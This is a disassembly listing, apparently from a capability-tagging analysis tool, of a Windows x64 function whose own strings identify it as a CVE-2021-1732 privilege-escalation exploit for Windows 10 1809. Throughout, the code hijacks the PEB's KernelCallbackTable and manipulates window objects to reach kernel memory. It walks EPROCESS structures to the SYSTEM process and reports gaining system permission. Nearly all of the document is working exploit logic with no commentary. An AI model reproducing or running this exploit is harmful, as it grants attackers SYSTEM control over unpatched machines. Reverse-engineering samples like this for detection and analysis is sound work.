Function at 0x1400c00ae
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Get process filename

Disassembly:
jmp 0x1400e3540
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x14e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7f8]
mov rax, qword [0x1402a7088]
xor rax, rbp
mov qword [rbp + 0x760], rax
lea rcx, [0x1402c7045]
call fcn.1400c47cb
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov qword [rbp + 8], 0
xor ecx, ecx
call fcn.1400c4ea1
mov r9, rax
lea r8, [0x140256d38]
lea rdx, str.conin_
lea rcx, [rbp + 8]
call fcn.1400c2caf
mov ecx, 1
call fcn.1400c4ea1
mov r9, rax
lea r8, [0x140256d44]
lea rdx, str.conout_
lea rcx, [rbp + 8]
call fcn.1400c2caf
mov dword [rbp + 0x64], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea r8, [rbp + 0x64]
lea rdx, [rbp + 0x44]
lea rcx, [rbp + 0x24]
call qword [rbp + 0x88]
mov eax, dword [rbp + 0x64]
and eax, 0xffff
mov dword [rbp + 0x64], eax
lea rdx, str.Example_CVE_2021_1732_Exp_working_in_windows_10_1809_17763_._n
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Current_system_version:_n
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, str.__MajorVer:
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
mov edx, dword [rbp + 0x24]
mov rcx, rax
call fcn.1400c1021
lea rdx, str._MinorVer:
mov rcx, rax
call fcn.1400bf988
mov edx, dword [rbp + 0x44]
mov rcx, rax
call fcn.1400c1021
lea rdx, str._BuildNumber:
mov rcx, rax
call fcn.1400bf988
mov edx, dword [rbp + 0x64]
mov rcx, rax
call fcn.1400c1021
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtUserConsoleControl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402a9928], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtCallbackReturn
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402a9930], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402a9920], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax + 0x3d8]
mov qword [0x1402a9910], rax
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax + 0x3e0]
mov qword [0x1402a9918], rax
lea rcx, [0x1402a9938]
call fcn.1400bf23f
mov dword [rbp + 0xc4], 0
mov rax, qword [rbp + 0xa8]
add rax, 0x3d8
lea r9, [rbp + 0xc4]
mov r8d, 0x40
mov edx, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rbp + 0xa8]
lea rcx, [0x1400c17c4]
mov qword [rax + 0x3d8], rcx
mov rax, qword [rbp + 0xa8]
lea rcx, [0x1400c3835]
mov qword [rax + 0x3e0], rcx
mov rax, qword [rbp + 0xa8]
add rax, 0x3d8
lea r9, [rbp + 0xc4]
mov r8d, dword [rbp + 0xc4]
mov edx, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov word [rbp + 0x104], ax
lea rax, [rbp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x50
rep stosb byte [rdi], al
mov dword [rbp + 0x130], 0x50
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x134], 3
mov dword [rbp + 0x144], 0x20
mov rax, qword [rbp + 0x790]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x168], 0
lea rax, str.Class1
mov qword [rbp + 0x170], rax
lea rcx, [rbp + 0x130]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rbp + 0xe4], ax
mov eax, dword [section..data]
mov dword [rbp + 0x144], eax
mov rax, qword [rbp + 0x790]
mov qword [rbp + 0x148], rax
lea rax, str.Class2
mov qword [rbp + 0x170], rax
lea rcx, [rbp + 0x130]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rbp + 0x104], ax
mov qword [rbp + 0x198], 0
mov dword [rbp + 0x1b4], 0
jmp 0x1400e38e4
mov eax, dword [rbp + 0x1b4]
inc eax
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 5
jge 0x1400e3c3b
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1f8], 0
mov dword [rbp + 0x214], 0
jmp 0x1400e3921
mov eax, dword [rbp + 0x214]
inc eax
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0x32
jge 0x1400e3a38
lfence
cmp dword [rbp + 0x214], 1
jne 0x1400e3993
call qword [sym.imp.USER32.dll_CreateMenu]
mov qword [rbp + 0x1d8], rax
call qword [sym.imp.USER32.dll_CreateMenu]
mov qword [rbp + 0x1f8], rax
lea r9, str.about
mov r8d, 0x1888
xor edx, edx
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.USER32.dll_AppendMenuW]
movsxd rax, dword [rbp + 0x1f8]
lea r9, str.help
mov r8, rax
mov edx, 0x10
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.USER32.dll_AppendMenuW]
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x10000000
xor r8d, r8d
lea rdx, str.Class1
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
movsxd rcx, dword [rbp + 0x214]
lea rdx, [0x1402a9940]
mov qword [rdx + rcx*8], rax
movsxd rax, dword [rbp + 0x214]
lea rcx, [0x1402a9940]
mov dl, 1
mov rcx, qword [rcx + rax*8]
call qword [0x1402a9938]
movsxd rcx, dword [rbp + 0x214]
lea rdx, [0x1402aa140]
mov qword [rdx + rcx*8], rax
jmp 0x1400e3913
mov dword [rbp + 0x234], 2
jmp 0x1400e3a52
mov eax, dword [rbp + 0x234]
inc eax
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0x32
jge 0x1400e3a8d
movsxd rax, dword [rbp + 0x234]
lea rcx, [0x1402a9940]
cmp qword [rcx + rax*8], 0
je 0x1400e3a8b
lfence
movsxd rax, dword [rbp + 0x234]
lea rcx, [0x1402a9940]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x1400e3a44
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402aa140]
mov edx, dword [0x1402a7024]
mov rax, qword [rcx + rax]
mov eax, dword [rdx + rax]
mov dword [0x1402aa940], eax
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402aa140]
mov edx, dword [0x1402a7024]
mov rax, qword [rcx + rax]
mov eax, dword [rdx + rax]
mov dword [0x1402aa944], eax
mov qword [rbp + 0x258], 0
lea rax, [rbp + 0x278]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402a9940]
mov edx, 8
imul rdx, rdx, 0
mov rax, qword [rcx + rax]
mov qword [rbp + rdx + 0x278], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x258]
mov qword [rbp + rax + 0x278], rcx
mov r8d, 0x10
lea rdx, [rbp + 0x278]
mov ecx, 6
call qword [0x1402a9928]
mov dword [rbp + 0x2a4], eax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402aa140]
mov rax, qword [rcx + rax]
mov rax, qword [rax + 0x128]
mov qword [rbp + 0x198], rax
mov eax, dword [0x1402aa944]
cmp qword [rbp + 0x198], rax
jae 0x1400e3b9b
mov eax, dword [0x1402aa944]
sub rax, qword [rbp + 0x198]
mov qword [rbp + 0x198], rax
jmp 0x1400e3c3b
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402a9940]
cmp qword [rcx + rax], 0
je 0x1400e3bcc
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402a9940]
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
cmp qword [rcx + rax], 0
je 0x1400e3c2b
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_DestroyWindow]
cmp qword [rbp + 0x1d8], 0
je 0x1400e3c14
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.USER32.dll_DestroyMenu]
cmp qword [rbp + 0x1f8], 0
je 0x1400e3c2b
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.USER32.dll_DestroyMenu]
mov qword [rbp + 0x198], 0
jmp 0x1400e38d6
cmp qword [rbp + 0x198], 0
jne 0x1400e3c7a
lea rdx, str.Memory_layout_fail._quit
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
lea rcx, str.pause
call fcn.1400c18d2
xor eax, eax
jmp 0x1400e4514
mov qword [rsp + 0x58], 0
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x10000000
xor r8d, r8d
lea rdx, str.Class2
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbp + 0x2c8], rax
mov dl, 1
mov rcx, qword [rbp + 0x2c8]
call qword [0x1402a9938]
mov qword [rbp + 0x2e8], rax
mov r8d, 0xffffffff
mov edx, dword [0x1402a7004]
mov rcx, qword [rbp + 0x2c8]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402aa140]
mov edx, dword [0x1402a7008]
mov rax, qword [rcx + rax]
mov rax, qword [rdx + rax]
mov qword [rbp + 0x308], rax
movabs rax, 0x4000000000000000
mov rcx, qword [rbp + 0x308]
or rcx, rax
mov rax, rcx
mov qword [rbp + 0x308], rax
mov eax, dword [0x1402a7008]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x308]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rax, qword gs:[0x60]
mov r8d, 0xa0
xor edx, edx
mov rcx, qword [rax + 0x30]
call qword [0x1402a9920]
mov qword [0x1402aa950], rax
mov rax, qword gs:[0x60]
mov r8d, 0x20
xor edx, edx
mov rcx, qword [rax + 0x30]
call qword [0x1402a9920]
mov rcx, qword [0x1402aa950]
mov qword [rcx + 0x98], rax
mov rax, qword [0x1402aa950]
mov rax, qword [rax + 0x98]
mov rcx, qword [0x1402aa950]
mov qword [rax], rcx
mov rax, qword gs:[0x60]
mov r8d, 0x200
xor edx, edx
mov rcx, qword [rax + 0x30]
call qword [0x1402a9920]
mov rcx, qword [0x1402aa950]
mov qword [rcx + 0x28], rax
mov rax, qword gs:[0x60]
mov r8d, 8
xor edx, edx
mov rcx, qword [rax + 0x30]
call qword [0x1402a9920]
mov rcx, qword [0x1402aa950]
mov qword [rcx + 0x58], rax
mov rax, qword [0x1402aa950]
mov rax, qword [rax + 0x28]
mov qword [rax + 0x2c], 1
mov rax, qword [0x1402aa950]
mov dword [rax + 0x40], 1
mov rax, qword [0x1402aa950]
mov dword [rax + 0x44], 2
mov rax, qword [0x1402aa950]
mov rax, qword [rax + 0x58]
movabs rcx, 0x4141414141414141
mov qword [rax], rcx
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
mov r8, qword [0x1402aa950]
mov edx, 0xfffffff4
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [rbp + 0x328], rax
movabs rax, 0xbfffffffffffffff
mov rcx, qword [rbp + 0x308]
and rcx, rax
mov rax, rcx
mov qword [rbp + 0x308], rax
mov eax, dword [0x1402a7008]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x308]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [rbp + 0x348], 0
mov qword [rbp + 0x368], 0
mov rax, qword [rbp + 0x328]
add rax, 0x18
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, rax
call fcn.1400bfaff
mov rax, qword [rbp + 0x348]
add rax, 0x100
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, rax
call fcn.1400bfaff
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, qword [rbp + 0x348]
call fcn.1400bfaff
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x388], rax
lea rdx, str.Get_current_kernel_eprocess:
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400c3fe2]
mov rcx, rax
call fcn.1400c118e
mov rdx, qword [rbp + 0x388]
mov rcx, rax
call fcn.1400c193b
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
mov qword [rbp + 0x3a8], 0
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x3e4], 0
jmp 0x1400e4010
mov eax, dword [rbp + 0x3e4]
inc eax
mov dword [rbp + 0x3e4], eax
cmp dword [rbp + 0x3e4], 0x1f4
jge 0x1400e4206
lfence
mov eax, dword [0x1402a701c]
mov rcx, qword [rbp + 0x3c8]
add rcx, rax
mov rax, rcx
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, rax
call fcn.1400bfaff
mov eax, dword [0x1402a701c]
mov rcx, qword [rbp + 0x348]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x3c8], rax
mov eax, dword [0x1402a7018]
mov rcx, qword [rbp + 0x3c8]
add rcx, rax
mov rax, rcx
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, rax
call fcn.1400bfaff
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x408], rax
cmp qword [rbp + 0x408], 4
jne 0x1400e4201
lfence
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3a8], rax
lea rdx, str.System_kernel_eprocess:
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400c3fe2]
mov rcx, rax
call fcn.1400c118e
mov rdx, qword [rbp + 0x3a8]
mov rcx, rax
call fcn.1400c193b
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
mov eax, dword [0x1402a7020]
mov rcx, qword [rbp + 0x3a8]
add rcx, rax
mov rax, rcx
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x348]
mov rcx, rax
call fcn.1400bfaff
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x428], rax
mov eax, dword [0x1402a7020]
mov rcx, qword [rbp + 0x388]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x448], rax
mov eax, dword [0x1402a7014]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x448]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [rbp + 0x468], rax
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
mov r8, qword [rbp + 0x428]
xor edx, edx
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov eax, dword [0x1402a7014]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x468]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
jmp 0x1400e4206
jmp 0x1400e4002
mov eax, dword [0x1402a7024]
mov rcx, qword [rbp + 0x2e8]
mov eax, dword [rcx + rax]
mov dword [0x1402aa948], eax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402aa140]
mov rax, qword [rcx + rax]
mov rax, qword [rax + 0x128]
mov qword [rbp + 0x488], rax
mov eax, dword [0x1402aa948]
cmp qword [rbp + 0x488], rax
jae 0x1400e4475
lfence
mov eax, dword [0x1402aa948]
sub rax, qword [rbp + 0x488]
mov qword [rbp + 0x488], rax
mov eax, dword [0x1402a7010]
mov rcx, qword [rbp + 0x2e8]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x4a4], eax
mov eax, dword [rbp + 0x4a4]
btr eax, 0xb
mov dword [rbp + 0x4a4], eax
mov eax, dword [rbp + 0x4a4]
mov ecx, dword [0x1402a7010]
mov rdx, qword [rbp + 0x488]
add rdx, rcx
mov rcx, rdx
mov edx, 8
imul rdx, rdx, 0
mov qword [rbp + 0x758], rdx
lea rdi, [0x1402a9940]
mov r8d, eax
mov edx, ecx
mov rax, qword [rbp + 0x758]
mov rcx, qword [rdi + rax]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov eax, dword [section..data]
mov rcx, qword gs:[0x60]
mov r8d, eax
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [0x1402a9920]
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x1402a7014]
mov rcx, qword [rbp + 0x488]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x4c8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402aa140]
mov edx, dword [0x1402a7008]
mov rax, qword [rcx + rax]
mov rax, qword [rdx + rax]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x4000000000000000
mov rcx, qword [rbp + 0x4e8]
or rcx, rax
mov rax, rcx
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x1402a7008]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x4e8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
mov r8, qword [rbp + 0x328]
mov edx, 0xfffffff4
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [rbp + 0x508], rax
movabs rax, 0xbfffffffffffffff
mov rcx, qword [rbp + 0x4e8]
and rcx, rax
mov rax, rcx
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x1402a7008]
mov rcx, qword [rbp + 0x198]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1402a9940]
mov qword [rbp + 0x758], rdx
mov r8, qword [rbp + 0x4e8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov rcx, qword [rax + rcx]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
lea rdx, str.Recovery_bug_prevent_blue_screen.
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1402a9940]
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1402a9940]
mov rcx, qword [rcx + rax]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rcx, qword [rbp + 0x2c8]
call qword [sym.imp.USER32.dll_DestroyWindow]
cmp qword [rbp + 0x3a8], 0
je 0x1400e44e4
lea rdx, str.CVE_2021_1732_Exploit_success__system_permission
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
jmp 0x1400e4506
lea rdx, str.CVE_2021_1732_Exploit_fail
lea rcx, [0x1402ad7d0]
call fcn.1400bf988
lea rdx, [0x1400bf393]
mov rcx, rax
call fcn.1400c1ca6
lea rcx, str.pause
call fcn.1400c18d2
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x140253b90]
call fcn.1400c3862
mov rax, rdi
mov rcx, qword [rbp + 0x760]
xor rcx, rbp
call fcn.1400c1a6c
lea rsp, [rbp + 0x778]
pop rdi
pop rbp
ret